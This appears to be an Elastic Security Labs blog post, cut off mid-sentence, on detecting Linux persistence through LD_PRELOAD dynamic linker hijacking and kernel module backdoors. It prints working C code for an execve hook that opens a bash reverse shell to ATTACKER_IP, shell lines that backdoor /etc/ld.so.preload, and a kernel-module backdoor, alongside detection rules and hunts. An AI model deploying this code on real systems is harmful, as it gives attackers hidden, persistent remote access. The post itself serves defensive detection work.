Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some additional, creative and/or complex persistence mechanisms.</p> <p>If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:</p> <ul> <li><a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering - A Primer on Persistence Mechanisms</a></li> <li><a href="https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms">Linux Detection Engineering - A Sequel on Persistence Mechanisms</a></li> </ul> <p>In this publication, we’ll provide insights into:</p> <ul> <li>How each works (theory)</li> <li>How to set each up (practice)</li> <li>How to detect them (SIEM and Endpoint rules)</li> <li>How to hunt for them (ES|QL and OSQuery reference hunts)</li> </ul> <p>To make the process even more engaging, we will be leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.</p> <p>By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to continue the journey on Linux persistence mechanisms? Let’s dive in!</p> <h2>Setup note</h2> <p>To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to <a href="https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules">enable and update our pre-built detection rules</a>. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.</p> <h2>T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking</h2> <p>The <a href="https://man7.org/linux/man-pages/man8/ld.so.8.html">dynamic linker</a> is a critical component of the Linux operating system responsible for loading and linking shared libraries required by dynamically linked executables. When a program is executed, the dynamic linker resolves references to shared libraries, loading them into memory and linking them to the application at runtime. This allows programs to use external libraries, such as the GNU C Library (<code>glibc</code>), without including the library code within the program itself, which saves memory and simplifies updates.</p> <p>Several key files and paths that play a crucial role in dynamic linking libraries are the following:</p> <ul> <li>Dynamic linker binaries (e.g. <code>ld-linux-x86-64.so.2</code>): <ul> <li>Typically located in <code>/lib/</code> or <code>/usr/lib/</code> for 32-bit systems.</li> <li>Found in <code>/lib64/</code> or <code>/usr/lib64/</code> on 64-bit systems.</li> </ul> </li> <li>Symbolic links to dynamic linker binaries: <ul> <li>Typically found in <code>/lib/x86_64-linux-gnu/</code> or <code>/usr/lib/x86_64-linux-gnu/</code> for 64-bit systems.</li> <li>Typically found in <code>/lib/i386-linux-gnu/</code> and <code>/usr/lib/i386-linux-gnu/</code> on 32-bit systems.</li> </ul> </li> <li>Configuration files: <ul> <li><code>/etc/ld.so.conf</code>: Specifies additional library paths for the dynamic linker.</li> <li><code>/etc/ld.so.cache</code>: A precompiled cache of library locations generated by <code>ldconfig</code> for efficient resolution.</li> <li><code>/etc/ld.so.preload</code>: Specifies libraries to load before any other libraries.</li> </ul> </li> </ul> <p>You can observe the dynamic linker in action using the <code>ldd</code> command, which lists the shared libraries required by an executable and their resolved paths. For example:</p> <pre><code class="language-python">> ldd /bin/ls linux-vdso.so.1 (0x00007fff87480000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000) /lib64/ld-linux-x86-64.so.2 (0x00007f236034a000) </code></pre> <p>This output shows the libraries needed by the <code>ls</code> command, along with their locations and the dynamic linker binary responsible for loading them. The dynamic linker itself appears as <code>/lib64/ld-linux-x86-64.so.2</code> in this case.</p> <p>When a dynamically linked program is executed, the process follows these steps:</p> <ol> <li>The dynamic linker loads the binary's <a href="https://man7.org/linux/man-pages/man5/elf.5.html">ELF</a> (Executable and Linkable Format) header to determine the required libraries.</li> <li>It searches for the specified libraries in paths defined by: <ol> <li>Default system library paths.</li> <li>Custom paths specified in <code>/etc/ld.so.conf</code> or environment variables like <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code>.</li> </ol> </li> <li>It maps the libraries into the program’s memory space and resolves symbols (e.g., function or variable references) required by the program.</li> <li>Execution is handed over to the program once all dependencies are resolved.</li> </ol> <p>Dynamic Linker Hijacking occurs when an attacker manipulates the linking process to redirect execution flow. This can involve altering the library search order through <code>LD_PRELOAD</code>, modifying configuration files like <code>/etc/ld.so.conf</code>, or tampering with cached library mappings in <code>/etc/ld.so.cache</code>.</p> <p>Malware such as <a href="https://sandflysecurity.com/blog/detecting-and-de-cloaking-hiddenwasp-linux-stealth-malware/">HiddenWasp</a>, <a href="https://intezer.com/blog/research/new-linux-threat-symbiote/">Symbiote</a>, and open-source rootkits such as <a href="https://github.com/ldpreload/Medusa">Medusa</a> and <a href="https://github.com/chokepoint/azazel">Azazel</a> leverage this technique to establish persistence. MITRE ATT&CK tracks this technique under the identifier <a href="https://attack.mitre.org/techniques/T1574/006/">T1574.006</a>.</p> <h3>T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD</h3> <p>The <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> environment variables control how shared libraries are loaded by dynamically linked executables. Both are legitimate tools for debugging, profiling, and customizing application behavior, but they are also susceptible to abuse by attackers seeking to hijack the execution flow.</p> <p>The <code>LD_PRELOAD</code> variable allows users to specify shared libraries that the dynamic linker should load before any others. This preloading ensures that functions or symbols in the specified libraries override those in standard or program-specified libraries. For instance, <code>LD_PRELOAD</code> is often used to test new implementations of library functions without modifying the application itself. For example:</p> <pre><code>LD_PRELOAD=/tmp/custom_library.so /bin/ls </code></pre> <p>In this case, the dynamic linker will load <code>custom_library.so</code> before loading any other libraries required by <code>/bin/ls</code>, effectively replacing or augmenting its behavior. Running <code>ldd</code> this time shows a different output:</p> <pre><code class="language-python">> ldd /bin/ls linux-vdso.so.1 (0x00007fff87480000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000) libcustom.so => /tmp/custom_library.so (0x00007f23ac7e5000) /lib64/ld-linux-x86-64.so.2 (0x00007f236034a000) </code></pre> <p>Indicating that the potentially malicious <code>custom_library.so</code> will be loaded prior to all others.</p> <p>The <code>LD_LIBRARY_PATH</code> variable specifies directories for the dynamic linker to search when resolving shared libraries. This variable takes precedence over default library paths like <code>/lib/</code> and <code>/usr/lib/</code>, allowing users to override system libraries with custom versions located in alternate directories:</p> <pre><code>LD_LIBRARY_PATH=/tmp/custom_libs /bin/ls </code></pre> <p>Here, the dynamic linker will first search <code>/tmp/custom_libs</code> for the libraries required by <code>/bin/ls</code>. If a library is found there, it will be loaded instead of the default version.</p> <p>While both <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> can hijack the execution flow, they operate differently:</p> <ul> <li><code>LD_PRELOAD</code> directly specifies libraries to be loaded first, providing precise control over which functions are overridden.</li> <li><code>LD_LIBRARY_PATH</code> alters the library search path, potentially affecting multiple libraries and their dependencies.</li> </ul> <p>Environment variables can be set by regular users without requiring administrative access, making them a useful tool to hijack the execution flow without requiring root privileges. Setting environment variables is not persistent. To make the changes persistent across sessions, attackers can append these variables to the shell initialization files such as <code>~/.bashrc</code> or <code>~/.zshrc</code>. For example:</p> <pre><code class="language-python">> echo 'export LD_PRELOAD=/tmp/malicious_library.so' >> ~/.bashrc > echo 'export LD_LIBRARY_PATH=/tmp/custom_libs' >> ~/.bashrc </code></pre> <p>On the next successful login, these variables will automatically be set, ensuring that the specified libraries are loaded whenever a dynamically linked executable is run. For more details, refer to the section on <a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms#t1546004---event-triggered-execution-unix-shell-configuration-modification">shell profile modification</a> in our <a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms">previous blog</a>.</p> <p>With root access, an attacker can edit the <code>/etc/ld.so.conf</code> file or add configuration fragments to <code>/etc/ld.so.conf.d/</code> to insert malicious library paths. By running <code>ldconfig</code>, they can ensure these libraries are cached and prioritized in the library search order for all users and applications. For example:</p> <pre><code class="language-python"># Create a malicious shared library > mkdir /lib/malicious > gcc -shared -o /lib/malicious/libhack.so -fPIC /tmp/hack.c > cp malicious_libc.so /lib/malicious/libc.so.6 # Add the malicious library path to /etc/ld.so.conf and reload > echo "/lib/malicious" >> /etc/ld.so.conf > ldconfig # Verify with ldd > ldd /bin/ls linux-vdso.so.1 (0x00007ffd2b1a5000) libc.so.6 => /lib/malicious/libc.so.6 (0x00007f23ac7e5000) /lib64/ld-linux-x86-64.so.2 (0x00007f23ac6e0000) </code></pre> <p>This output indicates that the malicious <code>libc.so.6</code> is now being loaded, hijacking the execution flow of <code>/bin/ls</code> and potentially any other application relying on <code>libc.so.6</code>.</p> <p>Similarly, an attacker can manipulate the <code>/etc/ld.so.preload</code> file to force the dynamic linker to load a malicious shared library into every dynamically linked executable on the system. Unlike modifying the library search paths in <code>/etc/ld.so.conf</code>, this technique directly injects a library into the execution flow, overriding or augmenting critical functions across all applications. For example:</p> <pre><code class="language-python"># Create a malicious shared library > gcc -shared -o /lib/malicious/libhack.so -fPIC hack.c # Add the malicious library to /etc/ld.so.preload > echo "/lib/malicious/libhack.so" >> /etc/ld.so.preload # Verify with ldd ldd /bin/ls linux-vdso.so.1 (0x00007ffd2b1a5000) libhack.so => /lib/malicious/libhack.so (0x00007f23ac7e5000) /lib64/ld-linux-x86-64.so.2 (0x00007f236034a000) </code></pre> <p>The output shows that <code>libhack.so</code> is loaded before any other libraries. Since <code>/etc/ld.so.preload</code> affects all dynamically linked executables, the attack impacts every user and application.</p> <p>Additionally, root access allows for more potential attack vectors, such as:</p> <ul> <li>Overwriting legitimate libraries in <code>/lib/</code>, <code>/lib64/</code>, <code>/usr/lib/</code>, or <code>/usr/lib64/</code> with malicious versions.</li> <li>Replacing and or modifying the dynamic linker binary (e.g. <code>ld-linux-x86-64.so.2</code>) to introduce backdoors or alter the library resolution process.</li> <li>Modifying system-wide configuration files such as <code>/etc/profile</code> or <code>/etc/bash.bashrc</code> to globally set <code>LD_PRELOAD</code> or <code>LD_LIBRARY_PATH</code>.</li> </ul> <h4>Persistence through T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD</h4> <p>Let’s examine how <a href="https://github.com/Aegrah/PANIX">PANIX</a> leverages the dynamic linker hijacking technique within the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_ld_preload.sh">setup_ld_preload.sh</a> module. This method relies on the presence of various compilation tools on the host system. PANIX hijacks the execution flow of the <code>execve</code> function for a user-specified binary, executing a backgrounded reverse shell whenever the binary is called:</p> <pre><code class="language-c">// Function pointer for the original execve int (*original_execve)(const char *pathname, char *const argv[], char *const envp[]); // Function to spawn a reverse shell in the background void spawn_reverse_shell() { pid_t pid = fork(); if (pid == 0) { // Child process setsid(); // Start a new session char command[256]; sprintf(command, "/bin/bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'", ATTACKER_IP, ATTACKER_PORT); execl("/bin/bash", "bash", "-c", command, NULL); exit(0); // Exit child process if execl fails } } // Hooked execve function int execve(const char *pathname, char *const argv[], char *const envp[]) { // Load the original execve function if (!original_execve) { original_execve = dlsym(RTLD_NEXT, "execve"); if (!original_execve) { exit(1); } } // Check if the executed binary matches the specified binary if (strstr(pathname, "$binary") != NULL) { // Spawn reverse shell in the background spawn_reverse_shell(); } // Call the original execve function return original_execve(pathname, argv, envp); } </code></pre> <p>To load the malicious shared object, PANIX backdoors the <code>/etc/ld.so.preload</code> by default.</p> <pre><code class="language-c++">// Compile the shared object gcc -shared -fPIC -o $preload_lib $preload_source -ldl if [ $? -ne 0 ]; then echo "Compilation failed. Exiting." exit 1 fi // Add to /etc/ld.so.preload for persistence if ! grep -q "$preload_lib" "$preload_file" 2>/dev/null; then echo $preload_lib >> $preload_file echo "[+] Backdoor added to /etc/ld.so.preload for persistence." else echo "[!] Backdoor already present in /etc/ld.so.preload." fi </code></pre> <p>Let’s run the module:</p> <pre><code class="language-python">> sudo ./panix.sh --ld-preload --ip 192.168.1.1 --port 2016 --binary ls LD_PRELOAD source code created: /tmp/preload/preload_backdoor.c LD_PRELOAD shared object compiled successfully: /lib/preload_backdoor.so [+] Backdoor added to /etc/ld.so.preload for persistence. [+] Execute the binary ls to trigger the reverse shell. </code></pre> <p>When opening a session, we can see the malicious library injected into the execution flow:</p> <pre><code class="language-python">> ldd $(which ls) linux-vdso.so.1 (0x00007ffe00fe8000) /lib/preload_backdoor.so (0x00007f610548e000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f61052bb000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61052b6000) /lib64/ld-linux-x86-64.so.2 (0x00007f61054a0000) </code></pre> <p>Executing the <code>ls</code> command will spawn a reverse connection, while executing any other command, such as <code>whoami</code> will not. Let’s analyze the logs in Discover:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/continuation-on-persistence-mechanisms/image2.png" alt="PANIX LD_PRELOAD module execution visualized in Kibana" title="PANIX LD_PRELOAD module execution visualized in Kibana" /></p> <p>We can see PANIX being executed, after which the temporary <code>preload_backdoor.c</code> source code is created in the <code>/tmp</code> directory. Next, <code>gcc</code> is used to compile the source code into a shared object and is added to the <code>/etc/ld.so.preload</code> file, which did not yet exist and is therefore created. After executing the <code>ls</code> binary, the backdoor is triggered, initializing a reverse connection on the specified IP and port.</p> <p>To detect different activities along the chain, we have the following detection and endpoint rules in place:</p> <table> <thead> <tr> <th>Category</th> <th>Coverage</th> </tr> </thead> <tbody> <tr> <td>File</td> <td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/defense_evasion_dynamic_linker_file_creation.toml#L18">Dynamic Linker Creation or Modification</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/integrations/fim/persistence_suspicious_file_modifications.toml#L20">Potential Persistence via File Modification</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/persistence_shared_object_creation.toml#L187">Shared Object Created or Changed by Previously Unknown Process</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_ld_preload_shared_object_modif.toml">Modification of Dynamic Linker Preload Shared Object</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/defense_evasion_hidden_shared_object.toml#L10">Creation of Hidden Shared Object File</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_ld_so_creation.toml">Dynamic Linker (ld.so) Creation</a></td> </tr> <tr> <td>Process</td> <td><a href="https://github.com/elastic/detection-rules/blob/86cc61c233c385064c4f16c0c88d2d9521c5dbdb/rules/linux/persistence_dynamic_linker_backup.toml#L2">Dynamic Linker Copy</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/defense_evasion_shared_object_injection_via_process_environment_variable.toml">Shared Object Injection via Process Environment Variable</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_unusual_preload_env_vars.toml">Unusual Preload Environment Variable Process Execution</a></td> </tr> <tr> <td><em>Detection and endpoint rules that cover dynamic linker hijacking persistence</em></td> <td></td> </tr> </tbody> </table> <p>To revert any changes made to the system by PANIX, you can use the corresponding revert module by running:</p> <pre><code class="language-bash">> sudo ./panix.sh --revert ld-preload [+] Reverting ld-preload module... [+] Removing /lib/preload_backdoor.so from /etc/ld.so.preload... [+] Removed entry from /etc/ld.so.preload. [+] Removing malicious shared library /lib/preload_backdoor.so... [+] Removed /lib/preload_backdoor.so. [+] Removing temporary directory /tmp/preload... [+] Removed /tmp/preload. [!] Note: The backdoor may still be active in your current session. [!] Please restart your shell session to fully disable the backdoor. [!] Run 'exec bash' to start a new shell session. > exec bash </code></pre> <h4>Hunting for T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD</h4> <p>Other than relying on detections, it is important to incorporate threat hunting into your workflow. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “<em>Hunting for T1053 - scheduled task/job</em>” section of “<em><a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering - A primer on persistence mechanisms</a></em>”. Additionally, descriptions and references can be found in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>.</p> <p>We can hunt for this technique using <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/guide/en/kibana/current/osquery.html">OSQuery</a> by focusing on the misuse of dynamic linker environment variables like <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code>. The approach includes monitoring for the following:</p> <ul> <li><strong>Processes with suspicious environment variables:</strong> Tracks processes with <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> set to unusual values.</li> <li><strong>Creation of shared object (<code>.so</code>) files:</strong> Observes <code>.so</code> files created in non-standard or uncommon directories, which could indicate malicious activity.</li> <li><strong>Modifications to critical dynamic linker files:</strong> Monitors changes to files like <code>/etc/ld.so.preload</code>, <code>/etc/ld.so.conf</code>, and associated directories such as <code>/etc/ld.so.conf.d/</code>.</li> </ul> <p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_dynamic_linker_hijacking.md">Persistence via Dynamic Linker Hijacking</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1574/006/">T1574.006</a>.</p> <h2>T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions</h2> <p><a href="https://man.openbsd.org/OpenBSD-5.1/lkm.4">Loadable Kernel Modules (LKMs)</a> provide a way to extend kernel functionality without modifying the core kernel itself. These modules can be dynamically loaded and unloaded at runtime, enabling features like hardware driver support, network protocol handling, and file system management.</p> <p>Modules are typically stored in the <code>/lib/modules/</code> or <code>/usr/lib/modules/</code> directory followed by a subdirectory for the active kernel version and are organized into subdirectories based on their functionality, such as drivers or network protocols. To ensure an LKM is loaded on boot, the following configuration files are read:</p> <ul> <li><code>/etc/modules</code></li> <li><code>/etc/modprobe.d/</code></li> <li><code>/usr/lib/modprobe.d/</code></li> <li><code>/etc/modules-load.d/</code></li> <li><code>/run/modules-load.d/</code></li> <li><code>/usr/local/lib/modules-load.d/</code></li> <li><code>/usr/lib/modules-load.d/</code></li> </ul> <p>Management tools like <code>modprobe</code>, <code>insmod</code>, and <code>rmmod</code> are used to load, list, or unload modules.</p> <p>When an LKM is loaded, the following sequence occurs:</p> <ol> <li>User-space invocation:<br /> a. A user with sufficient privileges initiates the loading process using tools like <code>modprobe</code> or <code>insmod</code>.</li> <li>Syscall invocation:<br /> a. <code>init_module()</code>: Loads a module from memory.<br /> b. <code>finit_module()</code>: Loads a module from a file descriptor.</li> <li>Kernel validation:<br /> a. The kernel verifies the module's integrity, structure, and compatibility.<br /> b. Checks include validation of the ELF format and kernel version compatibility using metadata like <code>vermagic</code>.</li> <li>Dependency Resolution:<br /> a. Tools like <code>depmod</code> generate dependency files that <code>modprobe</code> uses to load any required modules.</li> <li>Initialization and integration:<br /> a. The module's initialization function is executed, integrating it with the kernel's functionality through exported symbols and interfaces.</li> </ol> <p>Newer systems leverage <code>systemd</code> to invoke module loading during startup based on unit dependencies specified in service files. Older systems may still use scripts in <code>/etc/init.d/</code> or <code>/etc/rc.d/</code> to load modules at boot.</p> <p>The kernel prioritizes modules based on their order in dependency files or init system configurations. The search and load process typically follows:</p> <ol> <li>Default paths specified in <code>/lib/modules/</code> or <code>/usr/lib/modules/</code></li> <li>Overrides defined in <code>/etc/modprobe.d/</code> or <code>/usr/lib/modeprobe.d/</code></li> <li>Kernel command-line parameters (e.g., <code>modprobe.blacklist</code>).</li> </ol> <p>The flexibility and power of LKMs make them a double-edged sword, as they are not only indispensable for system functionality but also a potential vector for sophisticated threats, such as rootkits. MITRE tracks this technique under <a href="https://attack.mitre.org/techniques/T1547/006/">T1547.006</a>.</p> <h3>T1014 - Rootkit</h3> <p>Rootkits are a class of malicious software designed to conceal their presence and maintain persistent access to a system. They operate at various levels, from user-space applications to kernel-level modules. Kernel-level rootkits leverage LKMs, manipulating kernel behavior to hide processes, files, and network activity, making them difficult to detect.</p> <p>While rootkits are a broad and advanced topic, they are closely related to T1547.006 - Kernel Modules and Extensions. By modifying kernel structures or intercepting system calls, these rootkits can gain deep control over the system while remaining hidden from standard detection methods. MITRE tracks Rootkits specifically under <a href="https://attack.mitre.org/techniques/T1014/">T1014</a>.</p> <h4>Future Work: T1014 - Rootkit</h4> <p>Rootkits are a vast topic deserving dedicated attention. In upcoming publications, we will explore:</p> <ul> <li>The basics of rootkits.</li> <li>Techniques for detecting and hunting rootkits.</li> <li>Real-world examples of rootkit attacks and defenses.</li> </ul> <p>For now, understanding how LKMs are used as a vector for kernel rootkits bridges the gap between T1547.006 - Kernel Modules and Extensions and the broader topic of rootkits. This blog lays the groundwork for the in-depth exploration of rootkits to come.</p> <p>Can’t wait to learn more about rootkits? Read our recent research, “<em><a href="https://www.elastic.co/security-labs/declawing-pumakit">Declawing PUMAKIT</a></em>”, a sophisticated LKM rootkit that employs mechanisms to hide its presence and maintain communication with its C2 servers.</p> <h4>Persistence through T1547.006 - Kernel Modules and Extensions</h4> <p>While T1547.006 and T1014 share some overlap, PANIX includes two distinct modules: one for a basic LKM and another for a fully implemented rootkit. We’ll begin with the simple LKM using the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_lkm.sh">setup_lkm.sh</a> module for T1547. As before, this module requires kernel headers and compilation tools to be available on the host.</p> <p>The LKM being created is a simple module that spawns a separate thread to execute a specified command. Once the command is executed, the thread enters a sleep state for 60 seconds before repeating the process in an infinite while loop.</p> <pre><code class="language-c">#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/kthread.h> #include <linux/delay.h> #include <linux/signal.h> static struct task_struct *task; static int backdoor_thread(void *arg) { allow_signal(SIGKILL); while (!kthread_should_stop()) { char *argv[] = {$command}; call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC); ssleep(60); } return 0; } static int __init lkm_backdoor_init(void) { printk(KERN_INFO "Loading LKM backdoor module\\n"); task = kthread_run(backdoor_thread, NULL, "lkm_backdoor_thread"); return 0; } static void __exit lkm_backdoor_exit(void) { printk(KERN_INFO "Removing LKM backdoor module\\n"); if (task) { kthread_stop(task); } } module_init(lkm_backdoor_init); module_exit(lkm_backdoor_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("PANIX"); MODULE_DESCRIPTION("LKM Backdoor"); </code></pre> <p>After compilation with <code>make</code> and <code>gcc</code>, it copies the LKM to <code>/lib/modules/$(uname -r)/kernel/drivers/${lkm_name}.ko</code> and executes the <code>sudo insmod ${lkm_destination}</code> to load the module. The <code>$(uname -r)</code> command ensures that the path corresponding to the active kernel version is resolved.</p> <p>Let’s run the module:</p> <pre><code class="language-bash">> sudo ./panix.sh --lkm --default --ip 192.168.1.1 --port 2017 [+] Kernel module source code created: /tmp/lkm/panix.c [+] Makefile created: /tmp/lkm/Makefile [+] Kernel module compiled successfully: /lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko [+] Adding kernel module to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/... [+] Kernel module loaded successfully. Check dmesg for the output. [+] Kernel module added to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/ [+] LKM backdoor established! </code></pre> <p>Taking a look at the remnants left behind in Discover, we can see:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/continuation-on-persistence-mechanisms/image5.png" alt="PANIX LKM module execution visualized in Kibana" title="PANIX LKM module execution visualized in Kibana" /></p> <p>PANIX is executed, initiating the compilation process for the LKM using <code>make</code>, ensuring it is built for the active kernel version. Once compiled, the resulting <code>panix.ko</code> module is placed in the appropriate module library directory for the current kernel. To achieve persistence across reboots, a configuration file named <code>panix.conf</code> is created in both <code>/etc/modules-load.d/</code> and <code>/usr/lib/modules-load.d/</code>. The module is then loaded into the kernel using the <code>insmod</code> command, activating the reverse shell. Leveraging the Auditd Manager integration, we can observe the <code>kmod</code> utility loading the <code>panix</code> kernel module.</p> <p>This technique can leave behind several traces. The following detection- and endpoint rules are in place to effectively detect these:</p> <table> <thead> <tr> <th>Category</th> <th>Coverage</th> </tr> </thead> <tbody> <tr> <td>Driver</td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_kernel_driver_load.toml">Kernel Driver Load</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_kernel_driver_load_by_non_root.toml">Kernel Driver Load by non-root User</a></td> </tr> <tr> <td>File</td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_lkm_configuration_file_creation.toml">Loadable Kernel Module Configuration File Creation</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_kernel_object_file_creation.toml">Kernel Object File Creation</a></td> </tr> <tr> <td>Process</td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_insmod_kernel_module_load.toml">Kernel Module Load via insmod</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/defense_evasion_kernel_module_removal.toml">Kernel Module Removal</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/discovery_kernel_module_enumeration.toml">Enumeration of Kernel Modules</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/defense_evasion_clear_kernel_ring_buffer.toml">Attempt to Clear Kernel Ring Buffer</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_load_and_unload_of_kernel_via_kexec.toml">Kernel Load or Unload via Kexec Detected</a></td> </tr> <tr> <td>Syslog</td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_tainted_kernel_module_load.toml">Tainted Kernel Module Load</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_tainted_kernel_module_out_of_tree_load.toml">Tainted Out-Of-Tree Kernel Module Load</a></td> </tr> <tr> <td><em>Detection and endpoint rules that cover loadable kernel module persistence</em></td> <td></td> </tr> </tbody> </table> <p>For more information on how to set up the Auditd Manager integration to capture driver events and much more, check out the <a href="https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd">Linux Detection Engineering with Auditd</a> publication.</p> <p>We can revert this module by executing the following command:</p> <pre><code class="language-bash">> sudo ./panix.sh --revert lkm ###### [+] Reverting lkm module... ##### [+] Unloading kernel module 'panix'... [+] Kernel module 'panix' unloaded successfully. [+] Removing kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko'... [+] Kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko' removed successfully. [+] Removing temporary directory '/tmp/lkm'... [+] Temporary directory '/tmp/lkm' removed successfully. [+] Removing panix from /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/... [+] Updating module dependencies... [+] Module dependencies updated. </code></pre> <h4>Hunting for T1547.006 - Kernel Modules and Extensions</h4> <p>We can hunt for this technique using ES|QL and OSQuery, focusing on suspicious kernel module activity, including the creation of <code>.ko</code> files, execution of kernel module management tools, and modifications to kernel module configuration files. The hunting approach includes:</p> <ul> <li><strong>Monitoring kernel module file creation:</strong> Tracks <code>.ko</code> file creations in non-standard directories to detect potentially malicious modules.</li> <li><strong>Identifying unusual module management executions:</strong> Monitors processes such as <code>kmod</code>, <code>modprobe</code>, <code>insmod</code>, and <code>rmmod</code> for suspicious or uncommon arguments.</li> <li><strong>Detecting changes to configuration files:</strong> Observes files like <code>/etc/modprobe.d/</code>, <code>/etc/modules</code>, and related directories for modifications that might enable persistence.</li> <li><strong>Focus on rare drivers:</strong> Use queries that identify kernel modules loaded via <code>init_module</code> or <code>finit_module</code> syscalls that occur infrequently.</li> </ul> <p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_loadable_kernel_modules.md">Persistence via Loadable Kernel Modules</a> and <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_driver_load_with_low_occurrence_frequency.md">Drivers Load with Low Occurrence Frequency</a> hunting rules, along with tailored detection queries, analysts can effectively identify <a href="https://attack.mitre.org/techniques/T1547/006/">T1547.006</a>-related activity.</p> <h2>T1505.003 - Server Software Component: Web Shell</h2> <p>A web shell is a malicious script uploaded to a web server, enabling attackers to execute arbitrary commands on the host. They are commonly deployed after exploiting vulnerabilities in server software, weak file 